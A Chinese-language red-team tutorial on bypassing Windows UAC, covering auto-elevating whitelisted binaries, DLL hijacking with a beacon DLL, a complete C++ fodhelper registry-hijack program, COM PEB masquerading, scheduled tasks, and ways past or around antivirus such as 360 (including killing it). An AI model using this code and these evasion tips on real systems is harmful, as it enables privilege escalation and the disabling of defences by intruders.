BypassUAC的多种方式

在上线遇到低权限用户进行提权时,可以利用系统漏洞,利用土豆系列工具提权到system,同时可以BypassUAC提权到管理员。

什么是UAC

UAC是微软在 Windows Vista 以后版本引入的一种安全机制,UAC全称是User Account Control直译为“用户帐户控制”,UAC需要用户在执行一些可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员‌密码。

img

什么是BypassUAC

在触发UAC时,操作系统会创建一个名为consent.exe的进程,该进程通过白名单和用户选择来确定是否提升权限。 请求进程将要提升权限的进程的commandline和程序路径通过LPC(Local Procedure Call)接口传递给appinfo的RAiluanchAdminProcess函数,该函数首先会验证传入程序是否在白名单内同时判断是否弹出UAC窗口,这个UAC框会创建新的安全桌面,屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程。 通常通过UAC的权限提升需要由用户确认,在不被用户发现的情况下静默的将程序的普通权限提升为管理员权限,从而使程序可以实现一些需要权限的操作被称之为BypassUac。

BypassUAC的多种方式

看权限命令

1
whoami /priv

白名单提权

有一些系统程序是会直接获取管理员权限同时不出发UAC弹窗的,这类程序被称为白名单程序。 这些程序拥有一个manifest文件该文件本质上是一个XML文件用于标识该程序的配置属性。 拥有autoElevate属性程序和微软签名和白名单会被操作系统认为是可信的。会在启动时就静默提升权限。

查找白名单程序

白名单程序一般都在 C:\Windows\System32\ 目录下

利用微软工具sigcheck进行查询

下载地址:

https://learn.microsoft.com/zh-cn/sysinternals/downloads/sigcheck

如果程序设置如<autoElevate>true</autoElevate>时,则是在白名单中

1
sigcheck64.exe -m C:\Windows\System32\fodhelper.exe | findstr auto

image-20240222192648387

DLL劫持

找一个既在白名单又存在DLL劫持的程序

写一个上线beacon的DLL进行劫持即可

注册表劫持

有杀软的情况比较鸡肋360下百分百拦截,火绒WDF其他可以用

如果键值对HKCU:\Software\Classes\ms-settings\shell\open\command存在,fodhelper会查找HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute,若也存在到则读取HKCU:\Software\Classes\ms-settings\shell\open\command的值然后执行

C++脚本如下:refer:https://github.com/supersalted/FodhelperBypassUAC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/subsystem:windows /ENTRY:mainCRTStartup")

int main(int argc, char* argv[]) {
PROCESS_INFORMATION pi = { 0 };
STARTUPINFOA si = { 0 };
HKEY hKey;

si.cb = sizeof(STARTUPINFO);
si.wShowWindow = SW_HIDE;
RegCreateKeyA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\Shell\\open\\command", &hKey);
RegSetValueExA(hKey, "", 0, REG_SZ, (LPBYTE)"cmd.exe", strlen("cmd.exe"));
RegSetValueExA(hKey, "DelegateExecute", 0, REG_SZ, (LPBYTE)"", sizeof(""));
CreateProcessA("C:\\Windows\\System32\\cmd.exe",(LPSTR)"/c C:\\Windows\\System32\\fodhelper.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);
Sleep(5000);
RegDeleteTreeA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings");

return 0;
}

COM接口

COM接口也会被360核晶拦截,其他杀软可以过

在打像WDF可以上线后直接使用Com接口BypassUAC之后添加排除项

利用工具查看Elevation属性,在Enabled和Auto Approval值都是True才能bypassUAC

UAC在判断系统进程是否可信,判断依据是PEB结构,因此在使用COM组件提权之前我们将进程信息伪装成可信程序,例如c:\windows\explorer.exe等就能够BypassUAC。参见https://github.com/0xlane/BypassUAC/blob/master/BypassUAC/main.cpp中的MasqueradePEB

refer:

https://github.com/0xlane/BypassUAC/tree/master

https://github.com/hfiref0x/UACME

计划任务

也是鸡肋的办法,需要访问GUI界面

添加计划任务,并设置开启属性使用最高权限运行,等执行计划任务运行高权限。过程不触发UAC

Windows自身漏洞

针对360核晶的BypassUAC

针对其他一般的杀软BypassUAC随便过,360核晶对COM接口和注册表监控比较严格一般来说无法使用这两种方法绕过。可行的方法:

1.白名单+DLL劫持

2.致盲360核晶

3.RPC加载驱动Kill掉360核晶

4.可以进GUI界面点点计划任务上线

__END__